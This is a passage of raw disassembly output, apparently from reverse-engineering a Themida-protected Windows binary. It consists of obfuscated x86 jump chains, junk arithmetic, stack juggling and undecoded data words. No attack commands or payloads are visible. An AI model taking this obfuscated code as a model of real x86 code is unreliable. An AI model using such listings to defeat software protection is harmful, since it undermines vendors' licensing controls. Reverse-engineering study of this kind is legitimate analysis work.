--------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0AE35E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A3BA: ; CODE XREF: Themida_:00561F11j pop esp mov [esp], ecx sub esp, 4 mov [esp], eax jmp loc_564629 ; --------------------------------------------------------------------------- loc_55A3C9: ; CODE XREF: Themida_:005550D8j add ecx, 7084508Bh mov ebx, ecx pop ecx xor ebp, ebx jmp loc_55C325 ; --------------------------------------------------------------------------- aQs db 'QιΈ³',0 dw 5400h dd 1AC5E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A3E6: ; CODE XREF: Themida_:00557C3Cj push edx mov edx, 9466926Eh sub edi, edx pop edx sub ecx, edi pop edi push ebx mov ebx, 5B9C353Fh jmp loc_56069E ; --------------------------------------------------------------------------- db 5Ch, 31h, 4 dd 0E36E924h, 24890000h, 8D25E924h, 0F828FFFFh, 0FFF3D9E9h dd 815FE9FFh, 0B850FFFFh, 17C36771h, 584BE9h, 24148900h dd 0FFA922E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A42D: ; CODE XREF: Themida_:0055E869j mov edx, esi pop esi add esi, 6BF30787h sub esi, edx sub esi, 6BF30787h pop edx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], edx mov edx, 28h add edx, edi jmp loc_555312 ; --------------------------------------------------------------------------- dd 59CB015Bh, 418768h, 241C8900h, 7CDAE9h db 0 ; --------------------------------------------------------------------------- loc_55A469: ; CODE XREF: Themida_:0055FA2Bj push edi mov edi, 78AA5B47h jmp loc_5575C8 ; --------------------------------------------------------------------------- loc_55A474: ; CODE XREF: Themida_:00561427j add esp, 4 shr ecx, 0Bh jmp loc_558736 ; --------------------------------------------------------------------------- loc_55A482: ; CODE XREF: Themida_:00566267j push ebx mov ebx, esp add ebx, 4 push esi mov esi, 3DB87B3Ah neg esi dec esi sub esi, 0C24784C1h add ebx, esi pop esi xchg ebx, [esp] pop esp push 3625h mov [esp], edx sub esp, 4 mov [esp], ecx push esi mov esi, 396F19C8h not esi xor esi, 0E1A02A3h xor esi, 13E7097h jmp loc_553A73 ; --------------------------------------------------------------------------- db 5Ah dd 4B951h, 0CA010000h, 4C28159h, 81000000h, 4ECh, 93D3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A4E6: ; CODE XREF: Themida_:0055A2A0j push esp mov esi, [esp] add esp, 4 push edx push ebx push 5D0E7E15h pop ebx or ebx, 696A04E3h neg ebx and ebx, 53022393h add ebx, 82C2F31h mov edx, ebx pop ebx neg edx and edx, 59F372Eh dec edx not edx not edx xor edx, 5930709h add esi, edx pop edx push ecx mov ecx, 4 sub esi, 5FA60676h add esi, ecx add esi, 5FA60676h mov ecx, [esp] jmp loc_55E08F ; --------------------------------------------------------------------------- loc_55A53E: ; CODE XREF: Themida_:0055C9E9j sub ebp, 0DA3AAD74h and esi, ebp mov ebp, [esp] add esp, 4 shl esi, 7 add esi, 2B941A87h add ebx, 5F843F83h add ebx, esi jmp loc_565FC9 ; --------------------------------------------------------------------------- dw 405h dd 83000000h, 0C8E904C0h, 53000048h, 0CE14E950h, 0EA810000h dd 55E6D138h, 815AD389h, 5777F6E3h, 0E6F38150h, 81164A26h dd 5A7924EBh, 19BF575Fh, 0E9266B42h, 0ACE7h, 0C412B2BDh dd 5F58124h, 81728058h, 4B372ACDh, 85F58141h, 517A3F61h dd 4605B1B9h, 59CD311Dh, 22B8BD55h, 0ED812351h, 0F31B072Fh dd 34FFEF89h, 8DD4E924h, 0F6800000h, 0E95C049Dh, 0A1B4h dd 0E9243C89h, 379Dh ; --------------------------------------------------------------------------- loc_55A5E4: ; CODE XREF: Themida_:00552E44j mov [esp], ecx jmp loc_563BA9 ; --------------------------------------------------------------------------- loc_55A5EC: ; CODE XREF: Themida_:00556C74j neg ebp jmp loc_553099 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 241C8700h, 0FFB47FE9h, 0B96651FFh, 81663241h dd 0E9795FF1h, 1FCBh ; --------------------------------------------------------------------------- loc_55A610: ; CODE XREF: Themida_:005562D8j xchg ebp, [esp] pop esp push ebx mov ebx, esp push edx push ecx push 7B35E9Ch pop ecx add ecx, 6F69EC67h jmp loc_559733 ; --------------------------------------------------------------------------- dd offset dword_573F68 dw 6800h dd 17C9h, 81242489h, 42404h, 48F0000h, 0EC815024h, 4, 68241489h dd 0A785BB5h, 8324148Bh, 0EA8104C4h, 0A785BB1h, 24348152h dd 541B3811h, 11BD5558h, 31541B38h, 148B5DE8h, 4C48124h dd 0E9000000h, 0FFFFD10Ah, 8104C483h, 4C5h, 4C58100h, 0E9000000h dd 0B5Dh, 0BA52CE01h, 17647106h, 1DF4F281h, 0C2816DDFh dd 11E11D0Eh, 1ADE9h, 7ECBE900h, 8B66FFFFh, 89562404h dd 0BF5751E6h, 106109h, 66BBC781h, 0F74F0193h, 0D205E9DFh dd 0C4830000h, 0C2E58104h, 0C1440E1Eh, 16E908EDh, 29000012h dd 12E95DEEh db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A6E3: ; CODE XREF: Themida_:00558E07j neg ecx push eax mov eax, 14067C16h shl eax, 4 jmp loc_565E35 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 0BB2FE904h, 7768FFFFh, 0E9000050h, 950Eh dd 0E9240489h, 1522h, 5658C389h, 9F343668h, 0F6815E65h dd 0E1249BBh, 4E6C146h, 865AC681h, 2168CB65h, 8900002Eh dd 5E592434h, 0C15BD929h, 0D9F705E9h, 7F0E9h db 0 ; --------------------------------------------------------------------------- loc_55A741: ; CODE XREF: Themida_:0055E6FCj mov esp, [esp] mov [edi+eax*4], ch pop ecx jmp loc_555C9D ; --------------------------------------------------------------------------- db 83h, 0C2h, 4 dd 31241433h, 14332414h, 8B685C24h, 0E900002Eh, 0FFFFF8A2h dd 0E902E5C1h, 149Fh ; --------------------------------------------------------------------------- loc_55A76C: ; CODE XREF: Themida_:0055C421j mov ebp, [esp] jmp loc_55C8B0 ; --------------------------------------------------------------------------- loc_55A774: ; CODE XREF: Themida_:005624DFj mov ebp, 0FE0331Bh push ebp sub dword ptr [esp], 446D38DEh pop edx jmp loc_5575F0 ; --------------------------------------------------------------------------- db 8Fh dd 0F5C2404h, 12E9C8B7h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A793: ; CODE XREF: Themida_:00553288j add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] push 7653h mov [esp], edi mov edi, 9DF23A7h jmp loc_563867 ; --------------------------------------------------------------------------- dw 4D2h aSfk db '$ιδ',0 db 0 ; --------------------------------------------------------------------------- loc_55A7BB: ; CODE XREF: Themida_:00552E7Aj mov edx, 18C40008h sub edx, 73E313E9h inc edx add edx, 5B1F13E4h add ecx, edx pop edx sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi xchg ebp, [esp] not ebp xchg ebp, [esp] pop esi xor [esp], esi xor esi, [esp] xor [esp], esi mov eax, [esp] add esp, 4 push 7ADEh mov [esp], esi push edx push 2556h mov [esp], ecx mov ecx, 478159E5h jmp loc_55430B ; --------------------------------------------------------------------------- loc_55A810: ; CODE XREF: Themida_:005555FEj add bl, dl jmp loc_55CB32 ; --------------------------------------------------------------------------- loc_55A817: ; CODE XREF: Themida_:00557EBDj add esp, 4 jmp loc_5536F3 ; --------------------------------------------------------------------------- dw 0E289h dd 4B951h, 0CA010000h, 4C28159h, 87000000h, 0E95C2414h dd 36CEh, 0E905E3C1h, 7214h, 8124048Bh, 4ECh, 240C8900h dd 0C542E954h, 0DAF70000h, 8106EAC1h, 932C45E2h, 12EA814Dh dd 1FA92D9h, 0EE815AD6h, 57E57727h, 8AE3E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A876: ; CODE XREF: Themida_:0055E7ACj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push ecx mov ecx, 4 add [esp+4], ecx pop ecx pop edx push edi push ebx mov ebx, 1ACB314Ch jmp loc_554198 ; --------------------------------------------------------------------------- dw 481h dd 424h, 24048F00h, 65BD5551h, 0F75FC359h, 2E5C1D5h, 0AC57E9h dd 0C8B6600h, 3A6C6824h, 4890000h, 1BCF6824h, 89510000h dd 4C181E1h, 83000000h, 0C8704E9h, 8F545C24h, 4812404h dd 424h, 24048F00h, 7BA8E9h, 241C3300h, 8924248Bh, 0E589242Ch dd 0CBC6E9h db 0 ; --------------------------------------------------------------------------- loc_55A8FD: ; CODE XREF: Themida_:00552E9Cj shl esi, 3 add esi, 1 sub esi, 708D5EECh jmp loc_556A4C ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 aZHL db '^ΪhκL',0 align 4 dd 57240489h, 22F05FBFh, 5FF88953h, 76D8E9h, 4C48300h dd 102668h, 242C8900h, 42474FFh, 0A188E9h, 24048900h, 26851h dd 89590000h, 240C8BC8h, 4C481h, 0FDE90000h, 89000079h dd 0EC81242Ch, 4, 0FFA9B0E9h, 243C87FFh, 0E924248Bh, 8A67h ; --------------------------------------------------------------------------- loc_55A974: ; CODE XREF: Themida_:00556655j push ebx mov esi, [esp] add esp, 4 pop ebx and eax, esi push dword ptr [esp] pop esi add esp, 4 or eax, eax jz loc_55EA1F push dword ptr [edi+1Ch] xor dword ptr [esp], 141A083Eh mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_55CBC3 ; --------------------------------------------------------------------------- loc_55A9BC: ; CODE XREF: Themida_:00557587j add edx, ecx push edi mov edi, 1E7E66A2h sub edi, 0EC734E0Fh jmp loc_561418 ; --------------------------------------------------------------------------- loc_55A9CF: ; CODE XREF: Themida_:00552688j mov [esp], esi not dword ptr [esp] jmp loc_566CD2 ; --------------------------------------------------------------------------- dw 815Bh dd 4ECh, 242C8900h, 30C76851h, 76E93949h, 830000D1h, 0FD6804C4h dd 89000040h, 0BF57242Ch, 353844E1h, 0D6F885BDh, 5FFD01CCh dd 729FB951h, 0C18357E7h, 8DC18101h, 0E947441Fh, 7808h dd 405h, 930DE900h, 29590000h, 2434FFF2h, 4C4815Eh, 0E9000000h dd 2FF3h, 0E068h, 309FE900h, 4330000h, 24043124h, 5C240433h dd 0E99CC885h, 15CFh, 4EC81h, 69E90000h db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AA5F: ; CODE XREF: Themida_:0056205Cj add esp, 4 shl bl, 6 sub bl, 0FFh jmp loc_55CD01 ; --------------------------------------------------------------------------- dd 0C05BDC30h, 0ECC003ECh, 865FE906h, 0F781FFFFh, 42D1060h dd 0EFC1DFF7h, 5BF78107h, 570CCE42h, 0A54F98BFh, 5FFB0136h dd 0EB81FB01h, 36A54F98h, 83243C8Bh, 0CB0104C4h, 5C61EB81h dd 87590D98h, 248B241Ch, 48B6624h, 25216824h, 2C890000h dd 0E9E58924h, 379Eh ; --------------------------------------------------------------------------- loc_55AAC8: ; CODE XREF: Themida_:00560363j mov esi, [esp] add esp, 4 push eax mov eax, 181D5733h not eax jmp loc_566218 ; --------------------------------------------------------------------------- db 66h dd 81240C8Bh, 4ECh, 24048900h, 0F4D8E954h, 0CD01FFFFh dd 4C58159h, 33000000h, 2C31242Ch, 970BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AB02: ; CODE XREF: Themida_:00552FF3j mov [esp], ebp mov ebp, esp push 65B8h mov [esp], edx push ebx mov ebx, 0D840C4h or ebx, 4AD32020h xor ebx, 46FC3D1Ch and ebx, 144A533Ah add ebx, 4CAA12F6h mov edx, ebx pop ebx jmp loc_555D9F ; --------------------------------------------------------------------------- loc_55AB35: ; CODE XREF: Themida_:00553FF5j push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_55DD98 ; --------------------------------------------------------------------------- loc_55AB46: ; CODE XREF: Themida_:00564117j add edi, 4 xchg edi, [esp] mov esp, [esp] push ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 sub ecx, edi pop edi xchg ecx, [esp] pop esp mov [esp], ebp push edi mov edi, 4742366Fh xor edi, 41744BA0h mov ebp, edi pop edi add ebp, 0FEA7F918h sub esi, ebp jmp loc_554930 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 0C281E289h, 4, 3304EA83h, 14312414h dd 24143324h, 6171E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ABAA: ; CODE XREF: Themida_:0055C87Cj push edi mov edi, 607E3B6Fh add edi, 9F81C495h mov ecx, edi jmp loc_5595B9 ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 68F9F75Ch, 550Dh, 0E9241C89h, 0FFFFE518h ; --------------------------------------------------------------------------- loc_55ABD0: ; CODE XREF: Themida_:0055E787j push ecx jmp loc_562F0F ; --------------------------------------------------------------------------- loc_55ABD6: ; CODE XREF: Themida_:00554ED2j add ecx, 5F674D4Ch sub ecx, esi sub ecx, 5F674D4Ch pop esi xchg ecx, [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_552579 ; --------------------------------------------------------------------------- loc_55ABF5: ; CODE XREF: Themida_:0055FB8Dj sub esp, 4 mov [esp], edi push 2B6Fh mov [esp], esi push 4 push dword ptr [esp] jmp loc_55CCB3 ; --------------------------------------------------------------------------- aIxsR db 'ειΚr',0 align 2 dw 489h aS_11 db '$ιΐΗ',0 align 2 dw 2C89h dd 0E03CE924h, 295AFFFFh, 0DBEB81C3h, 8179BA2Fh, 847746C3h dd 0D0C38162h, 8173A668h, 0A166BEEBh, 97C0E926h, 0EF810000h dd 5AEC7040h, 0DAB8505Dh, 0E93F3E40h, 5F3Fh, 0E9243C33h dd 46ECh ; --------------------------------------------------------------------------- loc_55AC64: ; CODE XREF: Themida_:0055C94Bj pop edx push ebx push esp mov ebx, [esp] push edi mov edi, esp add edi, 4 jmp loc_553479 ; --------------------------------------------------------------------------- aNs?g db 'ι?G',0 align 2 dd offset loc_416667+1 dw 0E900h dd 0FFFF7F50h, 0B8E9DA89h, 5A00008Bh, 8159E830h, 4ECh dd 240C8900h, 0AFD8E9h, 66536600h, 664C62BBh, 5B66DF89h dd 0BA665266h, 0E0E9391Bh, 83FFFFC3h, 0C8704C1h, 0FF555C24h dd 0E9042474h, 0FFFFBCA9h ; --------------------------------------------------------------------------- loc_55ACC8: ; CODE XREF: Themida_:005663E5j mov [esp], edx jmp loc_554CB0 ; --------------------------------------------------------------------------- loc_55ACD0: ; CODE XREF: Themida_:0056569Cj add edi, 7F1B7C03h push edi sub dword ptr [esp], 42FE42CEh jmp loc_558028 ; --------------------------------------------------------------------------- db 80h dd 0ECC031E4h, 57C48004h, 0E958E200h, 0FFFF7C65h, 0A5ACE958h dd 1590000h, 0FF5259CAh, 0FF042474h, 505A2434h, 405E089h dd 83000000h, 48704C0h, 48E95C24h, 53000009h, 0C381E389h dd 4, 8704C383h, 0E95C241Ch, 0FFFF7B98h, 4D1D6859h, 4890000h dd 4DEEB824h, 0D8F72D3Ah, 48D0F740h, 3506E0C1h, 4E937AC4h dd 48BC501h, 0EE95724h, 0F6FFFF7Ah, 0E99C241Ch, 0FFFF7819h ; --------------------------------------------------------------------------- loc_55AD60: ; CODE XREF: Themida_:0055898Cj add ebx, eax push dword ptr [esp] jmp loc_560EA2 ; --------------------------------------------------------------------------- dw 0D505h dd 5B4DE602h, 0D52DD829h, 57515026h, 3F88BB53h, 0DF8916B9h dd 0E9E7D15Bh, 21CDh, 0C2305CB2h, 0E9525358h, 0FFFFBBCBh ; --------------------------------------------------------------------------- loc_55AD94: ; CODE XREF: Themida_:005555B6j add esp, 4 pop eax shl edi, 7 add edi, 0FC7B2781h jmp loc_556C80 ; --------------------------------------------------------------------------- loc_55ADA6: ; CODE XREF: Themida_:005669DCj mov [esp], esi push edi push dword ptr [esp+4] pop edi jmp loc_55762C ; --------------------------------------------------------------------------- loc_55ADB4: ; CODE XREF: Themida_:00558F2Dj mov esi, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor edi, [esp] jmp loc_560472 ; --------------------------------------------------------------------------- db 83h dd 96804C4h, 89000001h, 0E589242Ch, 1F41E9h, 24348B00h dd 0A5F4E9h, 0BB535D00h, 5B854669h, 7AE4CB81h, 0F38136A1h dd 396F4FD1h, 161E9h, 3EE99100h, 5E00005Ah, 4247401h, 5524348Bh dd 58E0E9h db 0 ; --------------------------------------------------------------------------- loc_55AE15: ; CODE XREF: Themida_:0055A18Ej pop ebp mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5620E2 ; --------------------------------------------------------------------------- db 68h dd 213Eh, 4690E9h, 0E9C30900h, 123h, 0E904C283h, 0AC2Dh dd 3507E8C1h, 267F968Dh, 2958C701h, 243C8BF9h, 56E18951h dd 4BEh, 0E9F10100h, 9E58h, 1C681h, 0EE810000h, 24F005A2h dd 0CCC0E946h, 8FB9FFFFh, 52074A6Ah, 0BAh, 7EB85000h, 2902132Bh dd 0CA2958C2h, 2B7EC281h, 0D1870213h, 0E924148Bh, 0A97Eh dd 369E95Eh, 83580000h, 48F04C4h, 24248B24h, 4EC81h, 4890000h dd 5E08924h, 4, 0BCA6E9h, 4C48300h, 0FF5FF801h, 685B2434h dd 5670h, 54241489h, 4BE565Ah, 0E9000000h, 0FFFFC7E6h dd 2434FF5Ah, 4C4815Eh, 68000000h, 23E9h, 0E9240489h, 0B3F6h dd 4EC815Ah, 89000000h, 4068243Ch, 5F327373h, 8CC2B850h dd 0C701CD8Ch, 60BE9h db 0 ; --------------------------------------------------------------------------- loc_55AF11: ; CODE XREF: Themida_:00567836j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_565C68 ; --------------------------------------------------------------------------- loc_55AF22: ; CODE XREF: Themida_:005640A7j xor edi, [esp] jmp loc_556B57 ; --------------------------------------------------------------------------- loc_55AF2A: ; CODE XREF: Themida_:0055E2B4j xor cl, al jmp loc_566C2C ; --------------------------------------------------------------------------- db 51h, 0F7h, 14h dd 0BE565924h, 1B7B45D4h, 1EE81h, 0F6810000h, 5CB72DF3h dd 113AEE81h, 0F6817C33h, 0CAEACEDBh, 0C1E9F131h, 58FFFFA1h dd 0E54BE950h, 0F381FFFFh, 119B0C0Ch, 0F381DBF7h, 6CF6C0CEh dd 0E95BDA01h, 0FFFFB07Bh, 1542E953h, 0E3810000h, 651D478Bh dd 0FCF9C381h, 15E9BFFEh, 8B0000C0h, 8B662424h, 5456240Ch dd 8124348Bh, 4C4h, 5DA46800h, 14890000h, 51466824h, 34890000h dd 19356824h, 0E95E0277h, 4E05h ; --------------------------------------------------------------------------- loc_55AFBC: ; CODE XREF: Themida_:0055EA0Dj add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax mov eax, 49BF346Dh push ebx push edi push 311A139Bh pop edi xor edi, 372D05B2h mov ebx, edi jmp loc_554500 ; --------------------------------------------------------------------------- dw 34FFh dd 9CCCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AFEE: ; CODE XREF: Themida_:00565FCAj mov eax, 5F843F83h sub ebx, eax mov eax, [esp] add esp, 4 mov esi, [esp] add esp, 4 mov [edi+24h], ebx jmp loc_5615FB ; --------------------------------------------------------------------------- loc_55B00F: ; CODE XREF: Themida_:00567C2Aj neg ecx neg ecx sub ecx, 6E0E18C8h push ebx jmp loc_5587A8 ; --------------------------------------------------------------------------- loc_55B01F: ; CODE XREF: Themida_:00563732j xor ebp, 6483DAFh inc ebp add ebp, 7B3C0023h jmp loc_567A05 ; --------------------------------------------------------------------------- loc_55B031: ; CODE XREF: Themida_:00564B67j sub edx, ebx mov ebx, [esp] jmp loc_56230B ; --------------------------------------------------------------------------- db 33h dd 2C31242Ch, 242C3324h, 0E924248Bh, 8E0Eh, 924FC281h dd 0D3898FCFh, 2FC7685Ah, 2C890000h, 7DC3BD24h, 0EB293662h dd 5F0B055Dh, 37E951E1h, 0B900006Bh, 0 dd 0BB53D901h, 0 dd 303CB01h, 0C7B5E95Bh, 0EEE90000h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B08B: ; CODE XREF: Themida_:0055D1EEj xchg ebp, [esp] mov esp, [esp] mov [esp], esi mov esi, 16EF5AF3h mov edx, esi pop esi add eax, edx pop edx sub eax, 0F5B0843h push edi push ebx jmp loc_555B8C ; --------------------------------------------------------------------------- db 66h dd 8124048Bh, 4ECh, 243C8900h, 7FE9E789h, 0F7FFFF83h, 6E981D9h dd 0F71EEA24h, 0FF5141D1h, 5759240Ch, 625BA7BFh, 5FF931F5h dd 984EE9h, 814B5E00h, 1EBh, 0DBEB8100h, 81786D39h, 901372EBh dd 95FDE9E1h, 0E5000000h, 8BEF2858h, 0C483240Ch, 0F5B05004h dd 5258C700h, 0B87CE9h, 0D830AC00h, 4EC81h, 1C890000h dd 81E38924h, 4C3h, 4EB8100h, 0E9000000h, 8849h ; --------------------------------------------------------------------------- loc_55B12C: ; CODE XREF: Themida_:0055B71Cj push ecx push 728430BDh pop ecx sub ecx, 25291809h jmp loc_55EE4D ; --------------------------------------------------------------------------- dw 895Ch dd 1EE92434h, 51FFFFABh, 0FD3C35B9h, 59CE0119h, 17E9C601h dd 4F00000Ah, 0E951D7F7h, 0C043h, 66DE005Ah, 0E9241C8Bh dd 7A31h, 5FFB315Ah, 3ABDEB81h, 0CB811457h, 77517AE5h dd 0D5F7EB87h, 0C381EB87h, 0A223632Ah, 0FFFAFBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B18D: ; CODE XREF: Themida_:0055D198j add esp, 4 jmp loc_55EE7F ; --------------------------------------------------------------------------- dd 0FF73DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B19D: ; CODE XREF: Themida_:0055EA28j pop eax push 2873h mov [esp], edi push esp pop edi push 76A8h mov [esp], eax push ebp push 59E20541h mov ebp, [esp] push edx mov edx, esp add edx, 4 jmp loc_564B59 ; --------------------------------------------------------------------------- db 20h dd 7C06E9F9h, 15B90000h, 53029451h, 887F18BBh, 0EB814B0Dh dd 734447DAh, 0C381E3D1h, 0CB779186h, 0A3F8E9h, 242C8700h dd 0B470E95Ch, 34FFFFFFh, 2434FF24h, 5024148Bh, 15E9E089h dd 68FFFFF8h, 1003h, 89242C89h, 4C581E5h, 0E9000000h, 0FFFF9FF6h ; --------------------------------------------------------------------------- loc_55B21C: ; CODE XREF: Themida_:005649DAj add ebx, 4 xchg ebx, [esp] pop esp push ebp push 80000h pop ebp jmp loc_567633 ; --------------------------------------------------------------------------- loc_55B232: ; CODE XREF: Themida_:0055D4CDj push 46060D7Eh jmp loc_55374C ; --------------------------------------------------------------------------- dd 0FF7338E9h, 87048DFFh, 688A68h, 24048900h, 0FF7328E9h dd 5FF829FFh, 97F152Dh, 4EC811Bh, 89000000h, 4FBD242Ch dd 5116AFE9h, 677309B9h, 81D1F727h, 8F60EDF1h, 95C1814Ah dd 57410276h, 0DE3F79BFh, 81D7F745h, 43A889F7h, 4FE981FFh dd 2961E14Ah, 4FC181F9h, 0E961E14Ah, 0FFFFAC85h, 31B45066h dd 8B66E300h, 0E9572404h, 0FFFFD26Ch ; --------------------------------------------------------------------------- loc_55B2AC: ; CODE XREF: Themida_:00567AA8j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 jmp loc_552AAB ; --------------------------------------------------------------------------- aLSI db '$$ιΔ',0 dd 5EEC100h, 0FF9BEAE9h, 0E78957FFh, 4C781h, 0C7830000h dd 243C8704h, 8B7AE9h db 0 ; --------------------------------------------------------------------------- loc_55B2E5: ; CODE XREF: Themida_:00561C81j push 7105h mov [esp], esi mov esi, 179E18BBh add esi, 27CC352Dh jmp loc_5679F4 ; --------------------------------------------------------------------------- loc_55B2FD: ; CODE XREF: Themida_:00565CD0j mov edi, ecx push edi push edx mov edx, 2F3341A3h push edx mov edx, 6FC26DB8h add [esp+8], edx pop edx jmp loc_560F1B ; --------------------------------------------------------------------------- dw 815Dh dd 4ECh, 243C8900h, 6A5AF0BFh, 0BBEF8176h, 81744A5Fh, 930AA3C7h dd 0CABD553Bh, 0E910E325h, 140h, 0E924248Bh, 264Ah ; --------------------------------------------------------------------------- loc_55B344: ; CODE XREF: Themida_:0055D2CDj push dword ptr [esp] mov ecx, [esp] jmp loc_5557D5 ; --------------------------------------------------------------------------- loc_55B34F: ; CODE XREF: Themida_:005626F3j push ebp mov ebp, 5A6A23A5h push edx mov edx, 2B4A101Ah xor ebp, edx pop edx jmp loc_5589D7 ; --------------------------------------------------------------------------- db 68h dd 35C10B1Ah, 72C90558h, 54079ACh, 715428CEh, 0BC261E25h dd 133A0520h, 0B6056100h, 17E7FC6h, 2434FFC2h, 8777E9h dd 2434FF00h, 8324348Bh, 895204C4h, 4C281E2h, 0E9000000h dd 0FFFFCEFDh ; --------------------------------------------------------------------------- loc_55B3A4: ; CODE XREF: Themida_:00560D39j mov edx, [esp] add esp, 4 jmp loc_55F981 ; --------------------------------------------------------------------------- dw 0EC68h dd 89000001h, 8B542434h, 0C4812434h, 4, 4C681h, 51570000h dd 0E118EEB9h, 0CDE9815Ah, 0D1023069h, 4E9C1E1h, 0C181D9F7h dd 0B1615E8h, 5059CF89h, 0D5450E68h, 7610E94Dh, 0EB28FFFFh dd 0FFDFCDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B3F9: ; CODE XREF: Themida_:00567B73j pop ebp xchg eax, [esp] pop esp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push ebp push 1C951CFAh jmp loc_55580A ; --------------------------------------------------------------------------- dw 3C87h dd 0D2F75C24h, 1E84E9h db 0 ; --------------------------------------------------------------------------- loc_55B42D: ; CODE XREF: Themida_:00564B14j mov dx, [esp] add esp, 2 sub al, dh add al, 3Ah push dword ptr [esp] jmp loc_5552C5 ; --------------------------------------------------------------------------- loc_55B443: ; CODE XREF: Themida_:005583FDj push edx mov edx, esp push ebx mov ebx, 3D2D0368h jmp loc_5586EE ; --------------------------------------------------------------------------- db 28h, 0F3h, 8Bh dd 0C4812414h, 4, 0E9BAB151h, 66AAh ; --------------------------------------------------------------------------- loc_55B464: ; CODE XREF: Themida_:00561665j pop ebx sub edi, 0E93DEC32h mov ebp, edi jmp loc_566A41 ; --------------------------------------------------------------------------- loc_55B472: ; CODE XREF: Themida_:00564219j pop dword ptr [esp] pop esp push ecx jmp loc_565C09 ; --------------------------------------------------------------------------- dd 815DEF29h, 2326F5F7h, 0F7EF815Ah, 176ECC6h, 7A685FFDh dd 0E9000010h, 32F4h, 9514A62Dh, 5C80104h, 49514A6h, 8B581088h dd 8951240Ch, 4C181E1h, 52000000h, 315776BAh, 90F28174h dd 81116241h, 895880EAh, 3E2C112h, 145DE9h, 0EBC15900h dd 8C38106h, 29FFDC7Ah, 0D4E95BDEh db 0B3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B4DF: ; CODE XREF: Themida_:0055C8B6j sub ecx, 17A747F5h add ecx, 242705A1h add ecx, 16F62C89h add ecx, ebp jmp loc_556BE9 ; --------------------------------------------------------------------------- loc_55B4F8: ; CODE XREF: Themida_:0055F7F7j push 4B4B4BEEh mov ebx, [esp] sub esp, 4 jmp loc_558472 ; --------------------------------------------------------------------------- loc_55B508: ; CODE XREF: Themida_:00556164j jz loc_567A77 push dword ptr [edi+28h] sub esp, 4 jmp loc_553FE8 ; --------------------------------------------------------------------------- dd 5324048Bh, 0C381E389h, 4, 4C381h, 1C870000h, 0EE815C24h dd 28B4286Fh, 0FF8EC4E9h, 405FFh, 4870000h, 0BE565C24h dd 4, 7AD1ED81h, 0ED811EC8h, 30DF7EC2h, 0C581F501h, 30DF7EC2h dd 0FFAA65E9h, 750868FFh, 1C890000h, 9BA5224h, 0E9715A7Ch dd 415Eh, 3F07F781h, 0C7816B08h, 0B43583Ch, 0FFB922E9h dd 515D54FFh, 0FF7C8EE9h, 5DEA29FFh, 5C241487h, 0E9243C89h dd 59FEh ; --------------------------------------------------------------------------- loc_55B5A0: ; CODE XREF: Themida_:0055E042j mov [esp], edx push esp pop edx add edx, 4 push ecx jmp loc_5612D7 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0D9h dd 811D8507h, 9F0EA1F2h, 0F2814A50h, 52910B73h, 8107E2C1h dd 810204F2h, 8BD129C5h, 0C4812414h, 4, 31240C33h, 0C33240Ch dd 24248B24h, 54242C89h, 51242C8Bh, 0C181E189h, 4, 8704C183h dd 815C240Ch, 4C5h, 0CCCDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B606: ; CODE XREF: Themida_:0055CB8Aj shr ebp, 6 jmp loc_55E134 ; --------------------------------------------------------------------------- loc_55B60E: ; CODE XREF: Themida_:00554F63j xor eax, [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_55FA0B ; --------------------------------------------------------------------------- a1S6 db '1Ψ[ι6Ύ',0 align 4 dd 0E60A09B8h, 7851E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B62E: ; CODE XREF: Themida_:0055F75Ej pop esi jmp loc_556162 ; --------------------------------------------------------------------------- dd 6C41E981h, 0E181179Dh, 36DA789Eh, 2074E981h, 0E9814531h dd 599E16A7h, 2685C181h, 0CF0177F7h, 243C3359h, 33243C31h dd 0F4E9243Ch, 8F00008Dh, 248B2404h, 734DE924h, 0F7450000h dd 3BCD81D5h, 52135519h, 0FFB23DE9h, 4C281FFh, 0E9000000h dd 0FFFFA223h, 0B8240489h, 68734935h, 1F6CE957h, 0E9480000h dd 0FFFFE4EAh ; --------------------------------------------------------------------------- loc_55B69C: ; CODE 